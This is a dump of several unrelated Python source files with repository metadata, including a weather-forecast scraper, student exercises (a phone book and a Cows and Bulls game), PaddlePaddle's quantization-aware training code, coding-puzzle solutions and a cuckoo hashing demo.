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#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Fri Dec 27 13:05:54 2019 @author: hwalters """ CHANGE_WALLPAPER = True import requests from bs4 import BeautifulSoup import os import re def get_page_content(url): agent = {"User-Agent":'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36'} page = requests.get(url, headers=agent, timeout=5) soup = BeautifulSoup(page.content, 'html.parser') return soup def print_dict(dict_): for x,y in dict_.items(): print(str(x)+":"+str(y)) def remove_letters(string): for i in string: try: i = int(i) except ValueError: string=string.replace(i,"") return string #items with the same key, values combined into tuple. also contains a def make_weather_dict(list1, list2): total_list = list1+list2 total_list.sort() temp_dict = dict() for i in range(len(total_list)): item = total_list[i] #removes the number at the beginning of the item placed there for order item = item[1:] #finds the index of the slash separating the temperature from the day title slash_index = item.find("/") #finds the day_title based off the slash location day_title = item[slash_index+1:] #finds the temp value based off the slash location temp = item[:slash_index] temp_dict_keys = list(temp_dict.keys()) if day_title in temp_dict_keys: prev_value = temp_dict[day_title] #takes the first value of the tuple, so the previous value isn't a tuple first,x = prev_value temp_dict[day_title] = (first, temp) else: temp_dict[day_title] = (temp, None) return temp_dict def main(): #NOAA HIGHS AND LOWS + SHORT DESCRIPTION noaa_soup = get_page_content("https://forecast.weather.gov/MapClick.php?lat=47.75&lon=-121.09#.XgsYhRdKhQI") noaa_results = noaa_soup.find(id='seven-day-forecast-list') noaa_twelve_hr_forecasts = noaa_results.find_all('li', class_='forecast-tombstone') noaa_desc = dict() noaa_high_temps = [] noaa_low_temps = [] order = 0 for forecast in noaa_twelve_hr_forecasts: day_title = str(forecast.find('p', class_='period-name').text) day_title = re.sub(r"(?<=\w)([A-Z])", r" \1", day_title).replace("Night","").replace(" ","") if "NOW" in day_title.replace(" ",""): continue if forecast.find('p', class_='temp-low') == None: #must have a high temperature #removes all tags and then removes all whitespace high_temp = str(forecast.find('p', class_='temp-high').text) #removes all letters and all html tags from high_temp high_temp = "High "+remove_letters(high_temp) noaa_high_temps.append(str(order)+high_temp + "/" + day_title) description = str(forecast.find('p', class_='short-desc').text) noaa_desc[day_title] = description else: low_temp = str(forecast.find('p', class_='temp-low').text) #removes all letters and all html tags low_temp = "Low "+remove_letters(low_temp) noaa_low_temps.append(str(order)+low_temp + "/" + day_title) description = str(forecast.find('p', class_='short-desc').text) noaa_desc[day_title] = description order+=1 noaa_all_temps = make_weather_dict(noaa_high_temps, noaa_low_temps) print("~~~~0~~~~\nWeather Forecast NOAA:\n") print_dict(noaa_all_temps) print("~~~~\nWeather Descriptions NOAA:\n") print_dict(noaa_desc) """ #ACCU WEATHER HIGHS AND LOWS + SHORT DESCRIPTION accu_soup = get_page_content("https://www.accuweather.com/en/us/stevens-pass/98826/daily-weather-forecast/103026_poi") accu_daily_forecasts=[] #gets the forecasts for the week. There are more weather forecasts afterwards #but I don't want to collect those. for i in range(0,6): forecasts = accu_soup.find_all("a", class_="forecast-card")[i] accu_daily_forecasts.append(forecasts) accu_all_temps = dict() accu_desc = dict() accu_precip_chances = dict() for forecast in accu_daily_forecasts: high_temp = str(forecast.find('span',class_='high').text) low_temp = str(forecast.find('span',class_='low').text) description = str(forecast.find('span',class_='phrase').text) precip = str(forecast.find('div',class_='info precip').text) day_title = str(forecast.find('p',class_='dow').text) day_title = day_title.strip() #remove_letters() also acts as .strip() so adding .strip() is not needed for temps and precip chances accu_desc[day_title] = description.strip() accu_all_temps[day_title] = ("High "+remove_letters(high_temp), "Low "+remove_letters(low_temp)) accu_precip_chances[day_title] = remove_letters(precip)+"%" print("~~~~0~~~~\nWeather Forecast Accuweather:\n") print_dict(accu_all_temps) print("~~~~\nWeather descriptions Accuweather:\n") print_dict(accu_desc) print("~~~~\nWeather Precip Chances Accuweather:\n") print_dict(accu_precip_chances) #WEATHER.COM weather_soup = get_page_content("https://weather.com/weather/tenday/l/b34e2407cc3f2fc39f372621e6ecbccbf0f1e8467b293bdb398370f53cb86e6a") weather_results = weather_soup.find("tbody") weather_daily_forecasts = weather_results.find_all("tr", class_="clickable closed") weather_all_temps = dict() weather_desc = dict() weather_precip_chances = dict() i=0 for forecast in weather_daily_forecasts: day_title = forecast.find('td', headers="day") day_title = str(day_title.find('span',class_="date-time").text).strip() + " " + str(day_title.find('span', class_="day-detail clearfix").text).strip() temp = str(forecast.find('td',class_="temp").text) #the temperature right now looks like this "26º22º" with high and low #pressed together w/ a degree symbol in between. To separate I find the #first degree symbol and use that to separate the two numbers. if "-" not in temp: char_index = temp.find("°") high_temp = "High "+remove_letters(temp[:char_index]) low_temp = "Low "+remove_letters(temp[char_index:]) else: temp2 = temp.replace("--","").strip() if temp.find("-") == 0: high_temp = None low_temp = "Low "+remove_letters(temp2) else: low_temp = None high_temp = "High "+remove_letters(temp2) weather_all_temps[day_title] = (high_temp, low_temp) desc = str(forecast.find('td', class_="description").text).strip() weather_desc[day_title] = desc precip = str(forecast.find('td', class_="precip").text).strip() weather_precip_chances[day_title] = precip i+=1 if i == 6: break print("~~~~0~~~~\nWeather Forecast Weather Channel:\n") print_dict(weather_all_temps) print("~~~~\nWeather descriptions Weather Channel:\n") print_dict(weather_desc) print("~~~~\nWeather Precip Chances Weather Channel:\n") print_dict(weather_precip_chances) #EDIT THE TEMPLATE INFOGRAPHIC os.remove("Stevens Pass Infographic Template.jpg") print("Copy template removed successfully") from PIL import Image, ImageDraw, ImageFont im = Image.open('Stevens Pass Infographic.jpg') font = ImageFont.truetype('arial.ttf', size=20) color = (105,105,105) # initialise the drawing context with the image object as background draw = ImageDraw.Draw(im) #DISPLAY NOAA DATA ONTO JPG noaa_day_titles = list(noaa_all_temps.keys()) accu_day_titles = list(accu_all_temps.keys()) weather_day_titles = list(weather_all_temps.keys()) all_tm = 150 noaa_lm = 50 for i in range(3): break draw.text((noaa_lm,all_tm), noaa_day_titles[0], fill=color, font=font) im.show() image_name_output = 'Stevens Pass Infographic Template.jpg' im.save(image_name_output) """ if __name__ == "__main__": main()

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hwalters.alt@gmail.com

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/module01_introduction/part01_helloworld/phone_book.py

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""" Your objective is to implement a simple Phone Book. Phone numbers are stored in a dictionary, e.g. { "Adam" : "010-0000-1111", "Alice" : "010-0011-2233"} See the code in the main for an example of how the phone book can be used """ def add_contact(phone_book, name, number): """ This function allows to store a new contact in the phone book :param phone_book: the phone book (dictionary) :param name: the name of the contact (a string) :param number: the cell number of the contact (a string) """ phone_book[name] = number def search_contact(phone_book, name): """ This functions allows to search for a contact. It should print a meaningful message, e.g.: "Contact "Alice" found: 010-1111-2222" OR "Contact Alice not found!" This function should also return the boolean value True if the contact is found, False otherwise :param phone_book: the phone book (dictionary) :param name: the name of the contact to search """ if name in phone_book.keys(): print(("Contact {0} found: {1}").format(name, phone_book[name])) else: print(("Contact {0} not found!").format(name)) def delete(phone_book, name): """ This function deletes a contact from the phone book (note: you should manage also the case in which the contact to delete is not in the phone book!) :param phone_book: the phone book (dictionary) :param name: he name of the contact to search """ if name in phone_book.keys(): del phone_book[name] else: pass def count_contacts(phone_book): """ This function counts the number of contacts in the phone book and prints a message, e.g.: "The number of contacts is: 25" :param phone_book: the phone book (dictionary) """ print(("The number of contacts is: {0}").format(len(phone_book))) def print_phone_book(phone_book): """ This function prints on the console the content of the entire phone book :param phone_book: the phone book (dictionary) """ print(phone_book) # ADDITIONAL def find_number(phone_book, number): for name in phone_book.keys(): if phone_book[name] == number: print((" Owner of {0} is {1}").format(number, name)) else: pass def add_list_of_contacts_v1(phone_book, names, numbers): phone_book.fromkeys(names, numbers) def add_list_of_contacts_v2(phone_book, new_contacts): pass def print_entries_start_with(phone_book, letters): pass if __name__ == '__main__': """ use the code below to test your implementation """ # phone book initialised: phone_book = {"John" : "010-6787-990011", "Jin" : "010-4455-7788", "Bob" : "010-8872-0011"} print_phone_book(phone_book) # print the phone book content add_contact(phone_book, "Alice", "010-7865-8899") # add one entry print_phone_book(phone_book) search_contact(phone_book, "Jiyoung") # search for Jyoung's number search_contact(phone_book, "Jin") # search for Jin's number count_contacts(phone_book) # should output 4 delete(phone_book, "Bob") # delete Bob from the phone book delete(phone_book, "Alice") add_contact(phone_book, "Marco", "010-9988-6677") count_contacts(phone_book) # should output 3 print_phone_book(phone_book) find_number(phone_book, "010-9988-6677") names = ["a", "b", "c"] numbers = ["1", "2", "3"] add_list_of_contacts_v1(phone_book, names, numbers) print(phone_book)

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/python/paddle/fluid/contrib/slim/quantization/imperative/qat.py

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# Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import collections import logging import numpy as np import sys import os import paddle from paddle.fluid import dygraph, core, framework from paddle.fluid.executor import Executor from paddle.fluid.dygraph.io import INFER_MODEL_SUFFIX, INFER_PARAMS_SUFFIX from paddle.nn import Linear, Conv2D, Conv2DTranspose, MaxPool2D, MaxPool1D, BatchNorm1D, BatchNorm2D, BatchNorm3D from paddle.fluid.dygraph.nn import BatchNorm, Pool2D from paddle.fluid.io import load_inference_model, save_inference_model from paddle.nn.layer.activation import ReLU, LeakyReLU, Sigmoid, ReLU6, Tanh, Softmax, PReLU, Swish from paddle.fluid.log_helper import get_logger from . import quant_nn from .. import quantization_pass __all__ = ['ImperativeQuantAware', 'ImperativeCalcOutScale'] _logger = get_logger( __name__, logging.INFO, fmt='%(asctime)s-%(levelname)s: %(message)s') _op_real_in_out_name = { "conv2d": [["Input", "Filter"], ["Output"]], "depthwise_conv2d": [["Input", "Filter"], ["Output"]], "pool2d": [["X"], ["Out"]], "elementwise_add": [["X", "Y"], ["Out"]], "softmax": [["X"], ["Out"]], "relu": [["X"], ["Out"]], "relu6": [["X"], ["Out"]], "leaky_relu": [["X"], ["Out"]], "prelu": [["X"], ["Out"]], "tanh": [["X"], ["Out"]], "batch_norm": [["X"], ["Y"]], "sigmoid": [["X"], ["Out"]], "swish": [["X"], ["Out"]], } class ImperativeQuantAware(object): """ Add the fake quant logic for given quantizable layers, namely add the quant_dequant computational logic both for activation inputs and weight inputs. """ def __init__(self, weight_bits=8, activation_bits=8, weight_quantize_type='abs_max', activation_quantize_type='moving_average_abs_max', moving_rate=0.9, quantizable_layer_type=['Conv2D', 'Linear'], weight_preprocess_layer=None, act_preprocess_layer=None, weight_quantize_layer=None, act_quantize_layer=None): r""" The constructor for ImperativeQuantAware. Args: weight_bits(int): quantization bit number for weights, whereas the bias is not quantized. activation_bits(int): quantization bit number for activations. weight_quantize_type(str): quantization type for weights, which supports 'abs_max' now. The 'moving_average_abs_max' usually is not used for weights, since weights are fixed once the model is well trained. activation_quantize_type(str): quantization type for activations, which supports 'abs_max' and 'moving_average_abs_max' now. If using 'abs_max' mode, the quantization scale will be calculated dynamically each step in both training and testing period. If using 'moving_average_abs_max', the static quantization scale will be calculated during training and used in inference. moving_rate(float): the parameter for 'moving_average_abs_max' quantization. quantizable_layer_type(list[str]): List the type of layers that will be quantized. Default is ['Conv2D', 'Linear']. The quantizable_op_type in QuantizationFreezePass and ConvertToInt8Pass must be the same as this. weight_preprocess_layer(paddle.nn.Layer, optional): A paddle Layer that defines how to preprocess weight before quantization. Using this can quickly test if user's preprocess method works or not. The input is non-quantized weight and function returns processed weight to be quantized. If None, the weight will be quantized directly. Default is None. act_preprocess_layer(paddle.nn.Layer, optional): A paddle Layer that defines how to preprocess activation before quantization. Using this can quickly test if user's preprocess method works or not. The input is non-quantized activation and function returns processed activation to be quantized. If None, the activation will be quantized directly. Default is None. weight_quantize_layer(paddle.nn.Layer, optional): A paddle Layer that defines how to quantize weight. Using this can quickly test if user's quantization method works or not. In this layer, user should both define quantization method and dequantization method, that is, the function's input is non-quantized weight and returns dequantized weight. If None, will use quantization op defined by 'weight_quantize_type'. Default is None. act_quantize_layer(paddle.nn.Layer, optional): A paddle Layer that defines how to quantize activation. Using this can quickly test if user's quantization method works or not. In this layer, user should both define quantization method and dequantization method, that is, the function's input is non-quantized activation and returns dequantized activation. If None, will use quantization op defined by 'activation_quantize_type'. Default is None. Note: If user sets attribute 'skip_quant' to a Layer that support dynamic quantization and sets it to true, the layer would not be quantized during training. If this attribute is not sets or the attribute is false, the Layer would be qunatized in training. Examples 1: .. code-block:: python import paddle from paddle.fluid.contrib.slim.quantization \ import ImperativeQuantAware from paddle.vision.models \ import resnet model = resnet.resnet50(pretrained=True) imperative_qat = ImperativeQuantAware( weight_quantize_type='abs_max', activation_quantize_type='moving_average_abs_max') # Add the fake quant logical. # The original model will be rewrite. # The outscale of outputs in supportted layers would be calculated. imperative_qat.quantize(model) # Fine-tune the quantized model # ... # Save quant model for the inference. imperative_qat.save_quantized_model( layer=model, model_path="./resnet50_qat", input_spec=[ paddle.static.InputSpec( shape=[None, 3, 224, 224], dtype='float32')]) Examples 2: .. code-block:: python import paddle from paddle.fluid.contrib.slim.quantization \ import ImperativeQuantAware class ImperativeModel(paddle.nn.Layer): def __init__(self): super(ImperativeModel, self).__init__() # self.linear_0 would skip the quantization. self.linear_0 = paddle.nn.Linear(784, 400) self.linear_0.skip_quant = True # self.linear_1 would not skip the quantization. self.linear_1 = paddle.nn.Linear(400, 10) self.linear_1.skip_quant = False def forward(self, inputs): x = self.linear_0(inputs) x = self.linear_1(inputs) return x model = ImperativeModel() imperative_qat = ImperativeQuantAware( weight_quantize_type='abs_max', activation_quantize_type='moving_average_abs_max') # Add the fake quant logical. # The original model will be rewrite. # # There is only one Layer(self.linear1) would be added the # fake quant logical. imperative_qat.quantize(model) # Fine-tune the quantized model # ... # Save quant model for the inference. imperative_qat.save_quantized_model( layer=model, model_path="./imperative_model_qat") """ super(ImperativeQuantAware, self).__init__() self._weight_bits = weight_bits self._activation_bits = activation_bits self._moving_rate = moving_rate self._activation_quantize_type = activation_quantize_type self._weight_quantize_type = weight_quantize_type self._weight_pre_layer = weight_preprocess_layer self._act_pre_layer = act_preprocess_layer self._weight_quant_layer = weight_quantize_layer self._act_quant_layer = act_quantize_layer self._out_scale = ImperativeCalcOutScale() t_check = lambda method: method is None or issubclass(method, dygraph.layers.Layer) assert t_check( self._weight_pre_layer), "weight_preprocess should be nn.Layer" assert t_check(self._act_pre_layer), "act_preprocess should be nn.Layer" assert t_check( self._weight_quant_layer), "weight_quantize should be nn.Layer" assert t_check(self._act_quant_layer), "act_quantize should be nn.Layer" quant_type = { 'abs_max', 'moving_average_abs_max', 'channel_wise_abs_max' } assert activation_quantize_type != 'channel_wise_abs_max', \ "The activation quantization type does not support 'channel_wise_abs_max'." if activation_quantize_type not in quant_type: raise ValueError( "Unknown activation_quantize_type : '%s'. It can only be " "'abs_max' or 'moving_average_abs_max' now." % (str(activation_quantize_type))) if weight_quantize_type not in quant_type: raise ValueError( "Unknown weight_quantize_type: '%s'. It can only be " "'abs_max' or 'moving_average_abs_max' or 'channel_wise_abs_max' now." % (str(weight_quantize_type))) self._quant_layers_map = { 'Conv2D': Conv2D, 'Linear': Linear, 'Pool2D': Pool2D, 'ReLU': ReLU, 'LeakyReLU': LeakyReLU, 'ReLU6': ReLU6, 'Softmax': Softmax, 'Tanh': Tanh, 'Swish': Swish } self._quantizable_layer_type = tuple( self._quant_layers_map[layer] if layer in self._quant_layers_map else layer for layer in quantizable_layer_type) for layer in self._quantizable_layer_type: assert not isinstance( layer, str), "{} is unspported to be quantized.".format(layer) def quantize(self, model): """ According to weights' and activations' quantization types, the model will be added some fake quant ops, such as fake_quantize_dequantize_moving_average_abs_max, fake_quantize_dequantize_abs_max and so on. At the same time, the out_scale value of outputs would be calculated. Args: model(fluid.dygraph.Layer): the model to be quantized. Returns: None """ for name, layer in model.named_sublayers(): if not isinstance(layer, self._quantizable_layer_type): continue if hasattr(layer, "skip_quant") and layer.skip_quant == True: continue last_idx = 0 idx = 0 obj = model parent = model while idx < len(name): if (name[idx] == '.'): if hasattr(parent, name[last_idx:idx]): obj = getattr(obj, name[last_idx:idx]) parent = obj last_idx = idx + 1 idx += 1 target = name[last_idx:idx] quant_layer = self._get_quantized_counterpart(layer) setattr(quant_layer, "layer_name", layer.full_name()) setattr(obj, target, quant_layer) self._out_scale.calc_out_scale(model) def _get_quantized_counterpart(self, layer): quant_layers = tuple(self._quant_layers_map.values()) quantized_counterpart = tuple('Quantized' + k for k in self._quant_layers_map.keys()) predicate = lambda value: isinstance(layer, value) index_generator = (i for i, v in enumerate(quant_layers) if predicate(v)) try: index = next(index_generator) except StopIteration: _logger.fatal("The layer {} is unsupported to be quantized.".format( layer.full_name())) sys.exit(-1) layer_with_weight = ['QuantizedConv2D', 'QuantizedLinear'] if quantized_counterpart[index] not in layer_with_weight: quant_layer_class_name = 'QuantizedNoweightLayer' else: quant_layer_class_name = quantized_counterpart[index] quantized_layer = quant_nn.__dict__[quant_layer_class_name]( layer, self._weight_bits, self._activation_bits, self._moving_rate, self._weight_quantize_type, self._activation_quantize_type, self._weight_pre_layer, self._act_pre_layer, self._weight_quant_layer, self._act_quant_layer) return quantized_layer def save_quantized_model(self, layer, path, input_spec=None, **config): self._out_scale.save_quantized_model(layer, path, input_spec, **config) class ImperativeCalcOutScale(object): def __init__(self, moving_rate=0.9): """ Add the logic of calculating and setting output quantization scales of some layers. These output quantization scales may be used by tensorRT or some other inference engines. Args: moving_rate(float): The decay coefficient of moving average. The default value is 0.9. """ super(ImperativeCalcOutScale, self).__init__() self._moving_rate = moving_rate self._out_scale_layer_type_list = ( BatchNorm, BatchNorm1D, BatchNorm2D, BatchNorm3D, Conv2D, LeakyReLU, Linear, PReLU, Pool2D, MaxPool1D, MaxPool2D, ReLU, ReLU6, Sigmoid, Softmax, Tanh, Swish) self._register_hook_handle_list = [] self._out_scale_dict = collections.OrderedDict() def calc_out_scale(self, model): """ Insert the `moving_average_abs_max_scale` op to calculate output scale of Specific layers in model. Args: model(fluid.dygraph.Layer): The target model which would be calculate the output quantization scale. Returns: None """ assert isinstance( model, dygraph.Layer), "model must be the instance of dygraph.Layer" for _, layer in model.named_sublayers(): if not isinstance(layer, self._out_scale_layer_type_list): if 'quantized_' not in layer.full_name(): continue forward_post_hook_handle = layer.register_forward_post_hook( self._forward_post_hook) self._register_hook_handle_list.append(forward_post_hook_handle) def save_quantized_model(self, layer, path, input_spec=None, **config): """ Save the quantized model for the inference. Args: layer (Layer): The Layer to be saved. path (str): The path prefix to save model. The format is ``dirname/file_prefix`` or ``file_prefix``. input_spec (list[InputSpec|Tensor], optional): Describes the input of the saved model's forward method, which can be described by InputSpec or example Tensor. If None, all input variables of the original Layer's forward method would be the inputs of the saved model. Default None. **configs (dict, optional): Other save configuration options for compatibility. We do not recommend using these configurations, they may be removed in the future. If not necessary, DO NOT use them. Default None. The following options are currently supported: (1) output_spec (list[Tensor]): Selects the output targets of the saved model. By default, all return variables of original Layer's forward method are kept as the output of the saved model. If the provided ``output_spec`` list is not all output variables, the saved model will be pruned according to the given ``output_spec`` list. Returns: None """ assert isinstance( layer, dygraph.Layer), "model must be the instance of dygraph.Layer" is_dynamic_mode = False with dygraph.guard(): layer.eval() for handle in self._register_hook_handle_list: handle.remove() for key in self._out_scale_dict: self._out_scale_dict[key] = float(self._out_scale_dict[key] .numpy()) if paddle.in_dynamic_mode(): is_dynamic_mode = True paddle.enable_static() paddle.jit.save(layer=layer, path=path, input_spec=input_spec, **config) if core.is_compiled_with_cuda(): place = core.CUDAPlace(0) else: place = core.CPUPlace() exe = Executor(place) file_prefix = os.path.basename(path) dirname = os.path.dirname(path) model_filename = file_prefix + INFER_MODEL_SUFFIX params_filename = file_prefix + INFER_PARAMS_SUFFIX [inference_program, feed_target_names, fetch_targets] = ( load_inference_model( dirname=dirname, executor=exe, model_filename=model_filename, params_filename=params_filename)) # Traverse all ops in the program and find out the op matching # the Layer in the dynamic graph. layer_var_dict = collections.OrderedDict() ops_list = [key for key, _ in self._out_scale_dict.items()] op_count = 0 conv_count = 0 for block in inference_program.blocks: for op in block.ops: if op.type in _op_real_in_out_name: if op.type in ["batch_norm", "pool2d"]: if op.type == "pool2d" and op.attr( "pooling_type") != "max": continue op_count = self.op_match(op, ops_list, op_count) if op_count >= len(ops_list): continue op._set_attr('out_threshold', self._out_scale_dict[ops_list[op_count]]) op_count += 1 else: output_var_names = quantization_pass._get_op_output_var_names( op) for output_var_name in output_var_names: output_var_tensor = block.var(output_var_name) if output_var_tensor.dtype not in [ core.VarDesc.VarType.FP64, core.VarDesc.VarType.FP32 ]: continue # Because the Layer in dygraph may correspond to multiple ops # in static program after being saved. To ensure correctness, # the outscale collected for output of dygraph Layer can only # be set to the last op in the corresponding ops in static program. # # We can judge the execution order of the ops which corresponding # to dygraph Layer by the name of output. And use dict to save # the corresponding relationship between the dygraph Layer and the # static graph op that needs to set the outscale attribute. if '.' not in output_var_name: continue dynamic_layer_name, var_name_suffix = output_var_name.split( ".") if dynamic_layer_name in layer_var_dict: if layer_var_dict[dynamic_layer_name][ 0] < var_name_suffix: layer_var_dict[dynamic_layer_name] = [ var_name_suffix, op ] else: layer_var_dict[dynamic_layer_name] = [ var_name_suffix, op ] # Because the naming styles of static and dynamic graph are different, # in order to avoid mistakes, we unify the name here. for (layer_name, var_name_op_list) in layer_var_dict.items(): if 'prelu' in layer_name: layer_name = layer_name.replace('prelu', 'p_re_lu') if 'relu' in layer_name: layer_name = layer_name.replace('relu', 're_lu') if 'conv2d' in layer_name: layer_name = 'conv2d_' + str(conv_count) conv_count = conv_count + 1 if layer_name not in self._out_scale_dict: continue var_name_op_list[1]._set_attr('out_threshold', self._out_scale_dict[layer_name]) # Save the processed program. save_inference_model( dirname=dirname, feeded_var_names=feed_target_names, target_vars=fetch_targets, executor=exe, main_program=inference_program.clone(), model_filename=model_filename, params_filename=params_filename) if is_dynamic_mode: paddle.disable_static() def op_match(self, op, ops_list, op_count): while op_count < len(ops_list) and op.type not in ops_list[op_count]: op_count += 1 while op_count < len(ops_list) and op.type is "pool2d" and op.attr( "pooling_type") != "max": op_count += 1 return op_count def _forward_post_hook(self, layer, input, output): assert isinstance( output, (core.VarBase, framework.Variable) ), "Multiple outputs are not currently supported in ImperativeOutScale." if output.dtype not in [ core.VarDesc.VarType.FP32, core.VarDesc.VarType.FP64 ]: return if not hasattr(layer, "_out_scale"): layer._out_scale = quant_nn.MovingAverageAbsMaxScale( output.name, self._moving_rate, output.dtype) scale_out = layer._out_scale(output) if hasattr(layer, 'layer_name'): layer_name = layer.layer_name else: layer_name = layer.full_name() self._out_scale_dict[layer_name] = scale_out

[ "noreply@github.com" ]

Yelrose.noreply@github.com

d04192355048644b83481659d3d017166e0b80d5

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/14. DP 动态规划/213. House Robber II.py

c83436bb0b53c016863f6cf71b952a9430fef486

[]

no_license

MaxShi007/leetcode_solutions

4953508f4c08bc3b604dde0b9dd8ca32d947585d

c868a61f145387dbce18244774a87395744ef5bf

refs/heads/master

2023-07-16T11:14:22.480679

2021-08-05T04:13:27

null

0

null

UTF-8

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false

688

py

class Solution: def rob(self, nums: List[int]) -> int: if not nums: return 0 if len(nums) == 1: return nums[0] if len(nums) == 3 or len(nums) == 2: return max(nums) pprev = nums[0] prev = max(nums[0], nums[1]) for i in range(2, len(nums)-1): cur = max(pprev+nums[i], prev) pprev = prev prev = cur max1 = cur pprev = nums[1] prev = max(nums[1], nums[2]) for i in range(3, len(nums)): cur2 = max(pprev + nums[i], prev) pprev = prev prev = cur2 max2 = cur2 return max(max1, max2)

[ "dongxiao.huang17@imperial.ac.uk" ]

dongxiao.huang17@imperial.ac.uk

305a306ddc5c1172b759669ae82019a0089a6754

3ce4c02aad370ef52a0466efd85cea48472c6354

/school/Literation/whileBill.py

3f25af0e17396772256e01952371193167b26230

[]

no_license

renasustek/python-files

110ac169371d3480d07a235908834e14d072f97a

4ed64f194dbd9824742a1e20035a93f9191ab2f9

refs/heads/master

2020-03-11T05:16:24.877808

2018-04-19T20:10:24

129,797,952

0

null

UTF-8

Python

false

169

py

bill = 0 newValue = 2 while newValue != 0: newValue = int(input("What is price of the current amount:")) bill = bill + newValue print("Bill:", bill)

[ "noreply@github.com" ]

renasustek.noreply@github.com

919204b02732c69b3cdce838f4f06670d71c72c5

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/2015/day25.py

cb3f0bf727f854fd9f2f893b07c4884439f6ee3e

[]

no_license

incnone/AdventOfCode

9c35214e338e176b6252e52a25a0141a01e290c8

29eac5d42403141fccef3c3ddbb986e01c89a593

refs/heads/master

2022-12-21T21:54:02.058024

2022-12-15T17:33:58

229,338,789

0

null

UTF-8

Python

false

616

py

from getinput import get_input from util import ncr def get_idx(row, col): if row == col == 1: return 1 return ncr(row+col-1, 2) + col def get_val(row, col): mod = 33554393 rat = 252533 startval = 20151125 return startval*pow(rat, get_idx(row, col)-1, mod) % mod def parse_input(s): words = s.split() return int(words[-1].rstrip('.')), int(words[-3].rstrip(',')) def part_1(row, col): return get_val(row, col) if __name__ == "__main__": the_col, the_row = parse_input(get_input(25)) print(the_row, the_col) print('Part 1:', part_1(the_row, the_col))

[ "incohatus.none+git@gmail.com" ]

incohatus.none+git@gmail.com

20877f2d672187ee40ac2b5f963110828cccd69d

b5c0d06ad4256aff912b952995f4d62304074a85

/week-05/day-1/cows_bulls.py

18afb6aa629f07c55761f57f32572da41bc98ec7

[]

no_license

greenfox-velox/annatorok

68ad65c0c87b4c68f66bf4e261b319ae8ca2cc70

44eab2cf2b5355422aa878998dc1fff75484ea3f

refs/heads/master

2020-02-26T16:41:52.065164

2016-07-19T13:32:07

58,053,206

4

9

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UTF-8

Python

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1,209

py

# Create a class what is capable of playing exactly one game of Cows and Bulls (CAB). The player have to guess a 4 digit number. For every digit that the player guessed correctly in the correct place, they have a “cow”. For every digit the player guessed correctly in the wrong place is a “bull.” # # The CAB object should have a random 4 digit number, which is the goal to guess. # The CAB object should have a state where the game state is stored (playing, finished). # The CAB object should have a counter where it counts the guesses. # The CAB object should have a guess method, which returns a string of the guess result # All methods, including constructor should be tested import random class Cows_and_Bulls: def __init__(self): self.cows = 0 self.bulls = 0 self.counter = 0 self.state = 'playing' def correct_number(self): self.correct_number = random.randint(1000,9999) return correct_number def guess_number(self, guess): if len(guess) < 4 or len(guess) > 4: state = 'finished' return False else: self.guess = guess self.counter += 1 def guess(): return

[ "mail@annatorok.com" ]

mail@annatorok.com

06cd9a6daa432a95245372b518bcf69f3ce1c6b0

e78094417a90f42f01b6cebd4e55ac3ccd532a6c

/cuckoo/cuckoo.py

0f8113943abb2f0d30eb7fa52eae50f2313aee0e

[]

no_license

kiranmehta1981/study

d1065b853c5dbcc8f39f1cd791bf42fcf71a07b9

dde5770860ff6b28c8507d43d96b43c9f55f6068

refs/heads/master

2021-01-16T00:56:42.094138

2017-09-04T06:06:52

99,986,273

0

null

UTF-8

Python

false

3,065

py

import hashlib import sys #Number of elements in hash table if len(sys.argv) != 2 : print "Required format: <python> <program> <size of hash table>" sys.exit(0) if int(sys.argv[1]) <= 0: print "Required format: <python> <program> <size of hash table>" sys.exit(0) N=int(sys.argv[1]) F=[hashlib.md5, hashlib.sha1, hashlib.sha256, hashlib.sha512] #Number of hash tables T = len(F) #Default value in hash table DEFAULT=-1 #Number of insert attempts before giving up R = 2 #storage for hashed data H = [[DEFAULT for x in range(N)] for y in range(T)] def hash(h, n): m = F[h](str(n)) return int(m.hexdigest(), 16) % N def printmap(): count = 0 for i in range(T): for j in range(N): if H[i][j] != DEFAULT: print " Table %d value[%d]" % (i, H[i][j]) count = count + 1 print "Total elements = %d" % (count) def populatemap(filename): with open(filename) as f: for line in f: line = line.split() if line: for n in line: print "Inserting element %s" % (n) insert_element(int(n)) def insert_element_in_table(t, n): print "insert_element_in_table: t = %d n = %d hash = %d" % (t,n, hash(t, n)) if (H[t][hash(t, n)] == n): return n else: oldval = H[t][hash(t,n)] H[t][hash(t,n)] = n return oldval def insert_element(n): t = 0 for r in range(R): for t in range(T): print "Attempting insertion of %d " % (n) d = insert_element_in_table(t, n) if (d == n or d == DEFAULT): print "* Element inserted " return True else: print "Displaced element %d from 1st table " % (d) n = d print "=Could not insert value in hash table. Threshold reached=" return False def query_element(n): for t in range(T): if (H[t][hash(t, n)] == n): print "Element %s present in hash table" % (n) return True return False def do_printmap(): printmap() def do_insert_element(): n = raw_input("Enter the element to be inserted: ") insert_element(int(n)) def do_query_element(): n = raw_input("Enter the element to be queried: ") r = query_element(int(n)) if (r): print "Element %s found" % (n) else: print "Element %s not found" % (n) def do_populatemap(): path = raw_input("Enter the file path containing data: ") populatemap(path) def do_exit(): print "Exiting ...." exit(0) options = {1: do_printmap, 2: do_insert_element, 3: do_query_element, 4: do_populatemap, 5: do_exit} while True: print "Select an option\n" print "1. Print all elements" print "2. Insert an element" print "3. Query an element" print "4. Populate cuckoo hash table using file" print "5. Exit" option = raw_input() print "Option selected is (%d)\n\n" % int(option) options[int(option)]()

[ "kiranmehta1981@gmail.com" ]

kiranmehta1981@gmail.com

95edf831f37b676ba3fb2731a59d15664766b478

3c099a78896ca4b775d28fccf38c2bfdf6a1a555

/zMiscellaneous/WebScraping/ScrapingEcommerce.py

91e6ae08778622a1632ba801532cb50101916bff

[]

no_license

anmolparida/selenium_python

db21215837592dbafca5cced7aecb1421395ed41

78aec8bf34d53b19fb723a124ad13342c6ce641c

refs/heads/master

2022-12-03T23:52:32.848674

2020-08-30T19:26:30

282,207,788

0

null

UTF-8

Python

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1,366

py

